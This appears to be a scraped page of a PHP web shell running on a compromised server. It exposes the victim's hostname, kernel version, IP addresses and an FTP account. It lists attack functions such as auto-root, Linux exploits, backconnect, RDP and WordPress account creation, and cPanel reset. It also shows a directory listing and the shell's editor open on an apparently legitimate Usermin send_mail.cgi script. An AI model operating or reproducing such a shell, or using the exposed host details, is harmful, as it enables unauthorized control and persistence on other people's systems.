Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
mailbox /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
ulang
[ DIR ]
drwxr-xr-x
xinha
[ DIR ]
drwxr-xr-x
CHANGELOG
15.09
KB
-rw-r--r--
add_address.cgi
558
B
-rwxr-xr-x
address_chooser.cgi
5.04
KB
-rwxr-xr-x
auto.pl
1.89
KB
-rwxr-xr-x
boxes-lib.pl
80.03
KB
-rwxr-xr-x
classlinks.sh
160
B
-rwxr-xr-x
config-ALL-linux
481
B
-rw-r--r--
config-aix
482
B
-rw-r--r--
config-freebsd
478
B
-rw-r--r--
config-hpux
478
B
-rw-r--r--
config-irix
477
B
-rw-r--r--
config-macos
478
B
-rw-r--r--
config-msc-linux
495
B
-rw-r--r--
config-netbsd
478
B
-rw-r--r--
config-openbsd
478
B
-rw-r--r--
config-openserver
483
B
-rw-r--r--
config-osf1
484
B
-rw-r--r--
config-qnx
478
B
-rw-r--r--
config-solaris
477
B
-rw-r--r--
config-unixware
477
B
-rw-r--r--
config.info
3.15
KB
-rw-r--r--
config.info.ca
3.54
KB
-rwxr-xr-x
config.info.de
1.59
KB
-rw-r--r--
config.info.el
4.76
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
2.9
KB
-rwxr-xr-x
config.info.no
3.09
KB
-rw-r--r--
copy.cgi
795
B
-rwxr-xr-x
copy_form.cgi
1.08
KB
-rwxr-xr-x
defaultuconfig
732
B
-rw-r--r--
delete_folders.cgi
1.27
KB
-rwxr-xr-x
delete_mail.cgi
6.67
KB
-rwxr-xr-x
detach.cgi
3
KB
-rwxr-xr-x
detachall.cgi
1.83
KB
-rwxr-xr-x
edit_auto.cgi
1.76
KB
-rwxr-xr-x
edit_comp.cgi
1.53
KB
-rwxr-xr-x
edit_folder.cgi
2.62
KB
-rwxr-xr-x
edit_ifolder.cgi
1
KB
-rwxr-xr-x
edit_imap.cgi
1.8
KB
-rwxr-xr-x
edit_pop3.cgi
1.64
KB
-rwxr-xr-x
edit_sig.cgi
499
B
-rwxr-xr-x
edit_virt.cgi
1.19
KB
-rwxr-xr-x
export.cgi
1.27
KB
-rwxr-xr-x
folders-lib.pl
102.93
KB
-rwxr-xr-x
import.cgi
2.97
KB
-rwxr-xr-x
inbox_login.cgi
1.36
KB
-rwxr-xr-x
inbox_login_error.cgi
1.12
KB
-rwxr-xr-x
inbox_logout.cgi
450
B
-rwxr-xr-x
index.cgi
12.21
KB
-rwxr-xr-x
list_addresses.cgi
8.47
KB
-rwxr-xr-x
list_folders.cgi
4.89
KB
-rwxr-xr-x
list_ifolders.cgi
2.77
KB
-rwxr-xr-x
mail_search.cgi
7.43
KB
-rwxr-xr-x
mailbox-lib.pl
65.52
KB
-rwxr-xr-x
module.info
296
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
152
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
256
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
300
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
305
B
-rw-r--r--
module.info.ca
26
B
-rw-r--r--
module.info.ca.auto
168
B
-rw-r--r--
module.info.cs
25
B
-rw-r--r--
module.info.cs.auto
142
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
159
B
-rw-r--r--
module.info.de
119
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
357
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.auto
163
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
166
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
242
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
149
B
-rw-r--r--
module.info.fr
26
B
-rw-r--r--
module.info.fr.auto
167
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
208
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
167
B
-rw-r--r--
module.info.hu
38
B
-rw-r--r--
module.info.hu.auto
173
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
151
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
213
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
177
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
180
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
168
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
137
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
146
B
-rw-r--r--
module.info.nl
29
B
-rw-r--r--
module.info.nl.auto
137
B
-rw-r--r--
module.info.no
19
B
-rw-r--r--
module.info.no.auto
122
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
170
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
159
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
165
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
173
B
-rw-r--r--
module.info.ru
55
B
-rw-r--r--
module.info.ru.auto
264
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
162
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
155
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
150
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
306
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
172
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
298
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
282
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
175
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
141
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
147
B
-rw-r--r--
newfolder.cgi
170
B
-rwxr-xr-x
print_mail.cgi
1.21
KB
-rwxr-xr-x
quotacheck.pl
3.13
KB
-rwxr-xr-x
reply_mail.cgi
26.55
KB
-rwxr-xr-x
save_address.cgi
981
B
-rwxr-xr-x
save_allow.cgi
708
B
-rwxr-xr-x
save_auto.cgi
1.07
KB
-rwxr-xr-x
save_comp.cgi
1.18
KB
-rwxr-xr-x
save_folder.cgi
3.85
KB
-rwxr-xr-x
save_group.cgi
744
B
-rwxr-xr-x
save_ifolder.cgi
1.73
KB
-rwxr-xr-x
save_imap.cgi
1.8
KB
-rwxr-xr-x
save_pop3.cgi
1.58
KB
-rwxr-xr-x
save_sig.cgi
595
B
-rwxr-xr-x
save_virt.cgi
983
B
-rwxr-xr-x
search_form.cgi
2.49
KB
-rwxr-xr-x
send_mail.cgi
18.73
KB
-rwxr-xr-x
slideshow.cgi
1.65
KB
-rwxr-xr-x
sort.cgi
1.03
KB
-rwxr-xr-x
specialsync.cgi
1.15
KB
-rwxr-xr-x
system_info.pl
978
B
-rw-r--r--
uconfig.info
5.01
KB
-rw-r--r--
uconfig.info.ca
5.66
KB
-rwxr-xr-x
uconfig.info.cs
5.03
KB
-rw-r--r--
uconfig.info.da
0
B
-rw-r--r--
uconfig.info.de
5.92
KB
-rw-r--r--
uconfig.info.el
7.4
KB
-rw-r--r--
uconfig.info.es
0
B
-rw-r--r--
uconfig.info.fr
145
B
-rw-r--r--
uconfig.info.hu
0
B
-rw-r--r--
uconfig.info.it
3.27
KB
-rw-r--r--
uconfig.info.nl
5.26
KB
-rw-r--r--
uconfig.info.no
5.02
KB
-rw-r--r--
uconfig.info.pl
0
B
-rwxr-xr-x
uconfig.info.pt_BR
5.01
KB
-rw-r--r--
uconfig_info.pl
264
B
-rwxr-xr-x
view_mail.cgi
17.62
KB
-rwxr-xr-x
virtualize.cgi
605
B
-rwxr-xr-x
webmin_menu.pl
4.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : send_mail.cgi
#!/usr/bin/perl # send_mail.cgi # Send off an email message use strict; use warnings; our (%text, %in, %config, %userconfig); our @remote_user_info; require './mailbox-lib.pl'; # Check inputs my %getin; &ReadParse(\%getin, "GET"); &ReadParseMime(undef, \&read_parse_mime_callback, [ $getin{'id'} ], 1); foreach my $k (keys %in) { $in{$k} = join("\0", @{$in{$k}}) if ($k !~ /^attach\d+/); } &set_module_index($in{'folder'}); my @folders = &list_folders(); my $folder = $folders[$in{'folder'}]; &error_setup($text{'send_err'}); if (!$in{'subject'}) { if ($userconfig{'force_subject'} eq 'error') { &error($text{'send_esubject'}); } elsif ($userconfig{'force_subject'}) { $in{'subject'} = $userconfig{'force_subject'}; } } my @sub = $in{'sub'} ? split(/\0/, $in{'sub'}) : (); my $subs = join("", map { "&sub=$_" } @sub); my $draft = $in{'draft'} || $in{'save'}; no warnings "once"; $main::force_charset = $in{'charset'}; use warnings "once"; # Construct the email if ($config{'edit_from'} == 2) { $in{'user'} || &error($text{'send_efrom'}); $in{'from'} = $in{'dom'} ? "$in{'user'}\@$in{'dom'}" : $in{'user'}; if ($in{'real'}) { $in{'from'} = "\"$in{'real'}\" <$in{'from'}>"; } } else { $in{'from'} || &error($text{'send_efrom'}); } $in{'to'} = &expand_to($in{'to'}); $in{'cc'} = &expand_to($in{'cc'}); $in{'bcc'} = &expand_to($in{'bcc'}); my $newmid = &generate_message_id($in{'from'}); my %enc = ( 'Charset' => $in{'charset'} ); my $mail; $mail->{'headers'} = [ [ 'From', &encode_mimewords_address($in{'from'}, %enc) ], [ 'Subject', &encode_mimewords($in{'subject'}, %enc) ], [ 'To', &encode_mimewords_address($in{'to'}, %enc) ], [ 'Message-Id', $newmid ] ]; if ($in{'cc'}) { push(@{$mail->{'headers'}}, [ 'Cc', &encode_mimewords_address($in{'cc'}, %enc) ]); } if ($in{'bcc'}) { push(@{$mail->{'headers'}}, [ 'Bcc', &encode_mimewords_address($in{'bcc'}, %enc) ]); } &add_mailer_ip_headers($mail->{'headers'}); $mail->{'header'}->{'message-id'} = $newmid; push(@{$mail->{'headers'}}, [ 'X-Priority', $in{'pri'} ]) if ($in{'pri'}); push(@{$mail->{'headers'}}, [ 'In-Reply-To', $in{'rid'} ]) if ($in{'rid'}); if ($userconfig{'req_dsn'} == 1 || $userconfig{'req_dsn'} == 2 && $in{'dsn'}) { push(@{$mail->{'headers'}}, [ 'Disposition-Notification-To', &encode_mimewords_address($in{'from'}, %enc) ]); push(@{$mail->{'headers'}}, [ 'Read-Receipt-To', &encode_mimewords_address($in{'from'}, %enc) ]); } if ($in{'replyto'}) { # Add real name to reply-to address, if not given and if possible my $r2 = $in{'replyto'}; my ($r2parts) = &split_addresses($r2); $r2 = $r2parts->[1] || !$userconfig{'real_name'} || !$remote_user_info[6] ? $in{'replyto'} : "\"$remote_user_info[6]\" <$r2parts->[0]>"; push(@{$mail->{'headers'}}, [ 'Reply-To', &encode_mimewords_address($r2, %enc) ]); } # Make sure we have a recipient $in{'to'} =~ /\S/ || $in{'cc'} =~ /\S/ || $in{'bcc'} =~ /\S/ || $draft || &error($text{'send_eto'}); $in{'body'} =~ s/\r//g; my %cidmap; my (@attach, $bodyattach); my @inline_images; my $quoted_printable; if ($in{'body'} =~ /\S/) { my $preplainbody = $in{'body'}; my $prehtmlbody = $in{'body'}; # Extract inline images if any @inline_images = ($in{'body'} =~ /(data:image\/.*?;base64,)(.*?)"/g); if (@inline_images) { my $iid = 1; for (my $i = 0; $i < scalar(@inline_images) - 1; $i += 2) { if ($inline_images[$i] =~ /data:image/) { my ($type) = $inline_images[$i] =~ /data:image\/(.*?);base64,/; my $cid = "ii_".(time() + $i).'@'."$type"; my $replace_html = "$inline_images[$i]$inline_images[$i+1]"; my @data = split('@', $cid); $inline_images[$i] = \@data; $inline_images[$i+1] = decode_base64($inline_images[$i+1]); # $cid = "cid:$cid\" style=\"width: 60%"; $cid = "cid:$cid"; # Replace for HTML $in{'body'} =~ s/\Q$replace_html/$cid/; # Replace for plain text $preplainbody =~ s/<img[^>]*>/[image: inline-image$iid.$type]/; $iid++; } } $prehtmlbody = $in{'body'}; } my $plainbody = $in{'html_edit'} ? &html_to_text($preplainbody) : $prehtmlbody; # Perform spell check on body if requested if ($in{'spell'}) { my @errs = &spell_check_text($plainbody); if (@errs) { # Spelling errors found! &mail_page_header($text{'compose_title'}); print "<b>$text{'send_espell'}</b><p>\n"; print map { $_."<p>\n" } @errs; &ui_print_footer( "javascript:back()", $text{'reply_return'}, "index.cgi?folder=$in{'folder'}", $text{'mail_return'}); exit; } } # For a HTML body, replace images from detach.cgi on the original # email with cid: references. if ($in{'html_edit'}) { $in{'body'} = &create_cids($in{'body'}, \%cidmap); } # Create the body attachment my $mt = $in{'html_edit'} ? "text/html" : "text/plain"; my $wrapped_body = $in{'body'}; if (!$in{'html_edit'}) { $wrapped_body = join("\n", &wrap_lines($wrapped_body, 998)); } my $charset = $in{'charset'} || $userconfig{'charset'}; $mt .= "; charset=$charset"; if ($config{'html_base64'} == 2) { # Use base64 encoding @attach = ( { 'headers' => [ [ 'Content-Type', $mt ], [ 'Content-Transfer-Encoding', 'base64' ] ], 'data' => $wrapped_body } ); } elsif ($in{'body'} =~ /[\177-\377]/ || $config{'html_base64'} == 1) { # Contains 8-bit characters .. need to make quoted-printable $quoted_printable++; @attach = ( { 'headers' => [ [ 'Content-Type', $mt ], [ 'Content-Transfer-Encoding', 'quoted-printable' ] ], 'data' => quoted_encode($wrapped_body) } ); } else { # Plain 7-bit ascii text @attach = ( { 'headers' => [ [ 'Content-Type', $mt ], [ 'Content-Transfer-Encoding', '7bit' ] ], 'data' => $wrapped_body } ); } $bodyattach = $attach[0]; if ($in{'html_edit'}) { # Create an attachment which contains both the HTML and plain # bodies as alternatives my @alts = ( $attach[0] ); my $mt = "text/plain; charset=$charset"; if ($plainbody =~ /[\177-\377]/) { unshift(@alts, { 'headers' => [ [ 'Content-Type', $mt ], [ 'Content-Transfer-Encoding', 'quoted-printable' ] ], 'data' => quoted_encode($plainbody) }); } else { unshift(@alts, { 'headers' => [ [ 'Content-Type', $mt ], [ 'Content-Transfer-Encoding', '7bit' ] ], 'data' => $plainbody }); } # Set content type to multipart/alternative, to tell mail # clients about the optional body my $bound = "altsbound".time(); $attach[0] = { 'headers' => [ [ 'Content-Type', 'multipart/alternative; '. 'boundary="'.$bound.'"' ], [ 'Content-Transfer-Encoding', '7bit' ] ], 'data' => join("", &unparse_mail(\@alts, "\n", $bound)) }; } } # Add inline images if (@inline_images) { my $iid = 1; for (my $i = 0; $i < scalar(@inline_images) - 1; $i += 2) { my $cid = $inline_images[$i][0]."@".$inline_images[$i][1]; my $type = $inline_images[$i][1]; my $image_name = "inline-image$iid.$type"; my $data = $inline_images[$i + 1]; push(@attach, { 'data' => $data, 'headers' => [['Content-type', "image/$type; name=\"$image_name\""], ['Content-Disposition', "inline; filename=\"$image_name\""], ['Content-ID', "<$cid>"], ['Content-Transfer-Encoding', 'base64'] ] }); $iid++; } } # Add uploaded attachments my $attachsize = 0; for(my $i=0; defined($in{"attach$i"}); $i++) { next if (!$in{"attach$i"}); for(my $j=0; $j<@{$in{"attach$i"}}; $j++) { next if (!$in{"attach${i}"}->[$j]); &test_max_attach(length($in{"attach${i}"}->[$j])); my $filename = $in{"attach${i}_filename"}->[$j]; $filename =~ s/^.*(\\|\/)//; my $type = $in{"attach${i}_content_type"}->[$j]. "; name=\"".$filename."\""; my $disp = "attachment; filename=\"".$filename."\""; push(@attach, { 'data' => $in{"attach${i}"}->[$j], 'headers' => [ [ 'Content-type', $type ], [ 'Content-Disposition', $disp ], [ 'Content-Transfer-Encoding', 'base64' ] ] }); } } # Add server-side attachments for(my $i=0; defined($in{"file$i"}); $i++) { next if (!$in{"file$i"} || !$config{'server_attach'}); if ($in{"file$i"} !~ /^\//) { $in{"file$i"} = $remote_user_info[7]."/".$in{"file$i"}; } -r $in{"file$i"} && !-d $in{"file$i"} || &error(&text('send_efile', $in{"file$i"})); my @st = stat($in{"file$i"}); &test_max_attach($st[7]); my $data; open(my $DATA, "<", $in{"file$i"}) || &error(&text('send_efile', $in{"file$i"})); while(<$DATA>) { $data .= $_; } close($DATA); $in{"file$i"} =~ s/^.*\///; my $type = &guess_mime_type($in{"file$i"}). "; name=\"".$in{"file$i"}."\""; my $disp = "attachments; filename=\"".$in{"file$i"}."\""; push(@attach, { 'data' => $data, 'headers' => [ [ 'Content-type', $type ], [ 'Content-Disposition', $disp ], [ 'Content-Transfer-Encoding', 'base64' ] ] }); } # Add forwarded attachments my @fwd = split(/\0/, $in{'forward'}); my ($sortfield, $sortdir) = &get_sort_field($folder); if (@fwd) { my $fwdmail = &mailbox_get_mail($folder, $in{'id'}, 0); &parse_mail($fwdmail); &decrypt_attachments($fwdmail); foreach my $s (@sub) { # We are looking at a mail within a mail .. &decrypt_attachments($fwdmail); my $amail = &extract_mail( $fwdmail->{'attach'}->[$s]->{'data'}); &parse_mail($amail); $fwdmail = $amail; } foreach my $f (@fwd) { &test_max_attach(length($fwdmail->{'attach'}->[$f]->{'data'})); $a = $fwdmail->{'attach'}->[$f]; if ($cidmap{$f}) { # This attachment has been inlined .. set a content-id $a->{'headers'} = [ grep { lc($_->[0]) ne 'content-id' && lc($_->[0]) ne 'content-location' } @{$a->{'headers'}} ]; push(@{$a->{'headers'}}, [ 'Content-Id', "<$cidmap{$f}>" ]); } push(@attach, $a); } } # Add forwarded emails my @mailfwdids = split(/\0/, $in{'mailforward'}); if (@mailfwdids) { my @mailfwd = &mailbox_select_mails($folder, \@mailfwdids, 0); foreach my $fwdmail (@mailfwd) { my $headertext; foreach my $h (@{$fwdmail->{'headers'}}) { $headertext .= $h->[0].": ".$h->[1]."\n"; } push(@attach, { 'data' => $headertext."\n".$fwdmail->{'body'}, 'headers' => [ [ 'Content-type', 'message/rfc822' ], [ 'Content-Description', $fwdmail->{'header'}->{'subject'} ] ] }); } } if ($in{'sign'} ne '' && !$draft) { # Put all the attachments into a single attachment, with the signature # as the second attachment &foreign_require("gnupg", "gnupg-lib.pl"); my @keys = &foreign_call("gnupg", "list_keys"); my $key = $keys[$in{'sign'}]; # Create the new attachment push(@{$mail->{'headers'}}, [ 'Content-Type', 'multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"' ] ); my ($tempdata, $tempheaders, $tempbody); if (@attach == 1) { # Just use one part $tempdata = &write_attachment($attach[0]); $tempheaders = $attach[0]->{'headers'}; $tempbody = $attach[0]->{'data'}; } else { # Create new attachment containing all the parts my $bound = "sign".time(); foreach my $a (@attach) { $tempbody .= "\r\n"; $tempbody .= "--".$bound."\r\n"; $tempbody .= &write_attachment($a); } $tempbody .= "\r\n"; $tempbody .= "--".$bound."--\r\n"; $tempdata ="Content-Type: multipart/mixed; boundary=\"$bound\"\r\n". "\r\n". $tempbody; $tempheaders = [ [ "Content-Type", "multipart/mixed; boundary=\"$bound\"" ] ]; } # Sign the file my $sigdata; my $rv = &foreign_call("gnupg", "sign_data", $tempdata, \$sigdata, $key, 2); if ($rv) { &error(&text('send_esign', $rv)); } @attach = ( { 'data' => $tempbody, 'headers' => $tempheaders }, { 'data' => $sigdata, 'headers' => [ [ "Content-Type", "application/pgp-signature; name=signature.asc" ] ] } ); } $mail->{'attach'} = \@attach; if ($in{'crypt'} ne '' && !$draft) { # Encrypt the entire mail &foreign_require("gnupg", "gnupg-lib.pl"); my @keys = &foreign_call("gnupg", "list_keys"); my @ekeys; my $key; if ($in{'crypt'} == -1) { # Find the keys for the To:, Cc: and Bcc: address my @addrs = ( &address_parts($in{'to'}), &address_parts($in{'cc'}), &address_parts($in{'bcc'}) ); foreach my $a (@addrs) { my $k = &find_email_in_keys($a, \@keys); if (!$k) { # Check keyserver for it my @srv = grep { !$_->{'revoked'} } &gnupg::search_gpg_keys($a); if (@srv) { my ($ok, $msg) = &gnupg::fetch_gpg_key( $srv[0]->{'key'}); if ($ok == 0) { $k = $msg; } } } if ($k) { push(@ekeys, $k); } else { &error(&text('send_ekey', $a)); } } } else { @ekeys = ( $keys[$in{'crypt'}] ); } if ($userconfig{'self_crypt'}) { my ($skey) = grep { $_->{'secret'} } @keys; push(@ekeys, $skey); } my $temp = &transname(); &send_mail($mail, $temp); my ($tempdata, $buf); open(my $TEMP, "<", $temp); my $dummy = <$TEMP>; # skip From line while(read($TEMP, $buf, 1024) > 0) { $tempdata .= $buf; } close($TEMP); unlink($temp); my $crypted; my $rv = &foreign_call("gnupg", "encrypt_data", $tempdata, \$crypted, \@ekeys, 1); $rv && &error(&text('send_ecrypt', $rv)); # Put into new attachments format $mail->{'headers'} = [ ( grep { lc($_->[0]) ne 'content-type' } @{$mail->{'headers'}} ), [ 'Content-Type', 'multipart/encrypted; protocol="application/pgp-encrypted"' ] ]; $mail->{'attach'} = [ { 'headers' => [ [ 'Content-Transfer-Encoding', '7bit' ], [ 'Content-Type', 'application/pgp-encrypted'] ], 'data' => "Version: 1\n" }, { 'headers' => [ [ 'Content-Transfer-Encoding', '7bit' ], [ 'Content-Type', 'application/octet-stream' ] ], 'data' => $crypted } ]; } # Check for text-only email my $textonly = $userconfig{'no_mime'} && !$quoted_printable && @{$mail->{'attach'}} == 1 && $mail->{'attach'}->[0] eq $bodyattach && !$in{'html_edit'}; # Tell the user what is happening if (!$in{'save'}) { &mail_page_header($draft ? $text{'send_title2'} : $text{'send_title'}); my @tos = ( split(/,/, $in{'to'}), split(/,/, $in{'cc'}), split(/,/, $in{'bcc'}) ); my $tos = join(" , ", map { "<tt>".&html_escape($_)."</tt>" } @tos); print &text($draft ? 'send_draft' : 'send_sending', $tos || $text{'send_nobody'}),"<p>\n"; } my $savefolder = $folder; my $dfolder; # XXX Hairy. if ($draft) { # Save in the drafts folder ($dfolder) = grep { $_->{'drafts'} } @folders; my $qerr = &would_exceed_quota($dfolder, $mail); &error($qerr) if ($qerr); &lock_folder($dfolder); if ($in{'enew'} && $folder->{'drafts'} && $folder->{'type'} != 2 && $folder->{'type'} != 4) { # Update existing draft mail (unless on IMAP) my ($dsortfield, $dsortdir) = &get_sort_field($dfolder); my $oldmail = &mailbox_get_mail($folder, $in{'id'}, 0); $oldmail || &error($text{'view_egone'}); &mailbox_modify_mail($oldmail, $mail, $dfolder, $textonly); } else { # Save as a new draft &write_mail_folder($mail, $dfolder, $textonly); } &unlock_folder($dfolder); $savefolder = $dfolder; } else { # Send it off and optionally save in sent mail my $sfolder; if ($userconfig{'save_sent'}) { ($sfolder) = grep { $_->{'sent'} } @folders; if ($sfolder) { my $qerr = &would_exceed_quota($sfolder, $mail); &error($qerr) if ($qerr); } } my $notify = $userconfig{'req_del'} == 1 || $userconfig{'req_del'} == 2 && $in{'del'} ? [ "SUCCESS","FAILURE" ] : undef; &send_mail($mail, undef, $textonly, $config{'no_crlf'}, undef, undef, undef, undef, $notify); if ($sfolder) { &lock_folder($sfolder); &write_mail_folder($mail, $sfolder, $textonly); &unlock_folder($sfolder); $savefolder = $sfolder; } } # Mark the new message as read &set_mail_read($savefolder, $mail, 1); if ($in{'replyid'}) { # Mark the original as being replied to my ($replymail) = &mailbox_select_mails($folder, [ $in{'replyid'} ], 1); if ($replymail) { my $replyread = &get_mail_read($folder, $replymail); $replyread = ($replyread|4); &set_mail_read($folder, $replymail, $replyread); } } if ($in{'abook'}) { # Add all recipients to the address book, if missing my @recips = ( &split_addresses($in{'to'}), &split_addresses($in{'cc'}), &split_addresses($in{'bcc'}) ); my @addrs = &list_addresses(); foreach my $r (@recips) { my ($already) = grep { $_->[0] eq $r->[0] } @addrs; if (!$already) { &create_address($r->[0], $r->[1]); push(@addrs, [ $r->[0], $r->[1] ]); } } } if ($userconfig{'white_rec'}) { # Add all recipients to the SpamAssassin whitelist my @recips = ( &split_addresses($in{'to'}), &split_addresses($in{'cc'}), &split_addresses($in{'bcc'}) ); my @recip_addrs = map { $_->[0] } @recips; &addressbook_add_whitelist(@recip_addrs); } if ($in{'save'}) { # Redirect back to editing the email my $folder_id = $dfolder->{'id'} || $dfolder->{'file'}; &redirect("reply_mail.cgi?folder=$dfolder->{'index'}&folder_type=$folder->{'type'}&folder_id=$folder_id&id=$mail->{'id'}&enew=1"); exit; } if ($userconfig{'send_return'}) { # Return to mail list print &js_redirect("index.cgi?folder=$in{'folder'}&start=$in{'start'}"); } # Print footer print "$text{'send_done'}<p>\n"; if ($in{'id'} ne '') { &mail_page_footer( "view_mail.cgi?id=".&urlize($in{'id'}). "&folder=$in{'folder'}&start=$in{'start'}$subs", $text{'view_return'}, "index.cgi?folder=$in{'folder'}&start=$in{'start'}", $text{'mail_return'}); } else { &mail_page_footer( "reply_mail.cgi?new=1&folder=$in{'folder'}&start=$in{'start'}", $text{'reply_return'}, "index.cgi?folder=$in{'folder'}&start=$in{'start'}", $text{'mail_return'}); } # write_attachment(&attach) sub write_attachment { my ($a) = @_; my ($enc, $rv); foreach my $h (@{$a->{'headers'}}) { $rv .= $h->[0].": ".$h->[1]."\r\n"; $enc = $h->[1] if (lc($h->[0]) eq 'content-transfer-encoding'); } $rv .= "\r\n"; if (lc($enc) eq 'base64') { my $encoded = &encode_base64($a->{'data'}); $encoded =~ s/\r//g; $encoded =~ s/\n/\r\n/g; $rv .= $encoded; } else { $a->{'data'} =~ s/\r//g; $a->{'data'} =~ s/\n/\r\n/g; $rv .= $a->{'data'}; if ($a->{'data'} !~ /\n$/) { $rv .= "\r\n"; } } return $rv; } sub test_max_attach { $attachsize += $_[0]; if ($config{'max_attach'} && $attachsize > $config{'max_attach'}) { &error(&text('send_eattachsize', $config{'max_attach'})); } } # find_email_in_keys(email, &keys) # Given a list of keys, return the one that contains some email sub find_email_in_keys { my ($a, $keys) = @_; foreach my $k (@$keys) { if (&indexoflc($a, @{$k->{'email'}}) >= 0) { return $k; } } return undef; }
Close